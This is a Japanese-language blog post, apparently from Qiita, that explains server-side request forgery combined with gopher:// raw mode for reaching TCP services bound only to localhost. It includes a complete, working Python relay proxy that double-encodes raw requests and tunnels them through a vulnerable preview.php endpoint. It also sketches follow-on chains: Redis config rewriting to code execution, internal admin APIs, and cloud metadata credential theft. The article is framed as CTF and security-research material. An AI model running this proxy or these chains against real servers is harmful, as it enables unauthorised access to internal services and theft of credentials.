0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】SSRF × Gopher で内部 TCP を操作する― nmap に見えないサービスを“喋らせる”プロキシの仕組み

0
Posted at

はじめに

SSRF(Server-Side Request Forgery)は、多くの場合こう説明されます。

「サーバ側から任意の URL にリクエストを送らせられる脆弱性」

しかし、実務や CTF、Red Team の現場では、それだけで終わることはほとんどありません。
本当に価値があるのは 「その SSRF を使って、何ができるか」 です。

本記事では、SSRF と gopher:// を組み合わせることで、

  • 外部からは見えない
  • 127.0.0.1 にしか存在しない
  • nmap では絶対に列挙できない

内部 TCP サービスを操作・観測するためのプロキシの仕組みを解説します。


全体像:何を作っているのか

今回紹介するスクリプトは、一言で言うと次のものです。

SSRF を踏み台にして、内部 TCP サービスと会話するための中継プロキシ

通信の流れはこうなります。

[Client]
   |
   | HTTP request
   v
[Local proxy :9000]
   |
   | URL encode
   v
[SSRF endpoint /preview.php]
   |
   | gopher://127.0.0.1:10000/_
   v
[Internal service (localhost:10000)]

一見すると HTTP のやり取りに見えますが、
実際には HTTP を装った raw TCP 通信が行われています。


想定環境と前提

  • 攻撃対象に SSRF 脆弱性が存在する
  • SSRF の fetch 処理が http:// 以外のスキームを許可している
  • 対象サーバ内部に 127.0.0.1:10000 のようなサービスが存在する

これは珍しい条件ではありません。
Redis、管理用 HTTP API、社内ツールなどで頻繁に見られます。


仕組み①:TCP を「正しく」受け取る

def recv_http_request(conn):
    data = b""
    while True:
        chunk = conn.recv(4096)
        if not chunk:
            break
        data += chunk

        if b"\r\n\r\n" in data:
            break

        if len(data) > MAX_REQUEST_SIZE:
            break

    return data

ここで重要なのは、

  • TCP は ストリーム
  • recv() 一発でリクエスト全体が来る保証はない

という点です。

Content-Length を解析せずとも、
最低限 HTTP ヘッダの終端(CRLF CRLF) までは確実に読むことで、

  • リクエスト破損
  • 中途半端な payload 送信

を防いでいます。


仕組み②:バイト列を壊さず URL に埋め込む

payload = urllib.parse.quote_from_bytes(data)
payload = urllib.parse.quote(payload)

ここがこの手法の核心です。

なぜ二重エンコードするのか?

  • 生の HTTP リクエストは 制御文字を含む
  • URL パーサ、PHP、Web サーバは途中で文字を解釈・変換する

そのため、

  1. quote_from_bytes で raw bytes を %XX
  2. % 自体をさらにエスケープ

することで、最終的に gopher 側で元の bytes が復元されるようにしています。

これは「SSRF × Gopher」の定石です。


仕組み③:gopher:// の RAW モード

gopher://127.0.0.1:10000/_PAYLOAD

gopher の _RAW モードを意味します。

  • HTTP ヘッダ不要
  • プロトコル変換なし
  • 後ろの文字列がそのまま TCP に送信される

つまりこの瞬間、

Web アプリは URL を fetch しているつもり
内部サービスは TCP で殴られている

という 認識のズレが生まれます。


なぜ nmap では見えないのに、これは通るのか

理由は単純です。

手法 視点
nmap 外部ネットワーク
SSRF 内部(localhost)

127.0.0.1:10000 は、

  • 外部からは存在しない
  • サーバ自身からは確実に存在する

SSRF は **「内部視点を借りる攻撃」**です。
nmap と競合するものではありません。


攻撃チェーンにおける位置づけ

このコード単体では RCE ではありません。
しかし、実務ではそれで十分です。

例:

  • SSRF → Redis → config 書換 → RCE
  • SSRF → 内部管理 API → 権限昇格
  • SSRF → Cloud Metadata → Credential 窃取

「喋れる SSRF」 は、次の一手を確実にします。


まとめ

  • SSRF は「URL を取れる」だけでは終わらない
  • gopher:// を使うことで raw TCP が扱える
  • nmap に見えない世界は「存在しない」のではなく「外から見えない」だけ

このスクリプトは、

SSRF を “ただの脆弱性” から
“内部ネットワーク用プロキシ” に格上げするための道具

です。

本記事で紹介している内容およびコードは、
セキュリティ学習・検証・研究目的でのみ提供されています。

source code

import urllib.parse
import requests
import threading
import socket

LHOST="127.0.0.1"
LPORT=9000
TARGET_HOST ="X.X.X.X"
HOST_TO_PROXY ="127.0.0.1"
PORT_TO_PROXY=10000
MAX_REQUEST_SIZE =1024 * 64 #64KB

REQUEST_TIMEOUT=8

def recv_http_request(conn):

    data = b""
    while True:
        chunk = conn.recv(4096)
        if not chunk:
            break
        data += chunk

        # HTTP header finish flag
        if b"\r\n\r\n" in data:
            break

        if len(data) > MAX_REQUEST_SIZE:
            break

    return data


def handle_client(conn,addr):
    with conn:
        try:
            data= recv_http_request(conn)

           
            if not data:
                return
            
            print(f"[+]{addr} request({len(data)} bytes)")
            print(data[:200]) #只打印前200 字节,避免刷屏

          
            payload = urllib.parse.quote_from_bytes(data)
            payload = urllib.parse.quote(payload)

            target_url =(
                f"http://{TARGET_HOST}/preview.php"
                f"?url=gopher://{HOST_TO_PROXY}:{PORT_TO_PROXY}/_{payload}"
            )
            
            resp =requests.get(target_url,timeout=REQUEST_TIMEOUT)
            conn.sendall(resp.content)
        
        except Exception as e:
            print(f"[!] Error handing{addr}:{e}")
  
def main():
    with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
        s.bind((LHOST,LPORT))
        s.listen(50)
        print(
            f"[*] Listening on {LHOST}:{LPORT}, "
            f"proxying to {HOST_TO_PROXY}:{PORT_TO_PROXY} via {TARGET_HOST}"
        )
        while True:
            conn,addr =s.accept()
            
            threading.Thread(target=handle_client,args=(conn,addr),daemon=True).start()
    

if __name__== "__main__":
    main()

参考記事

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?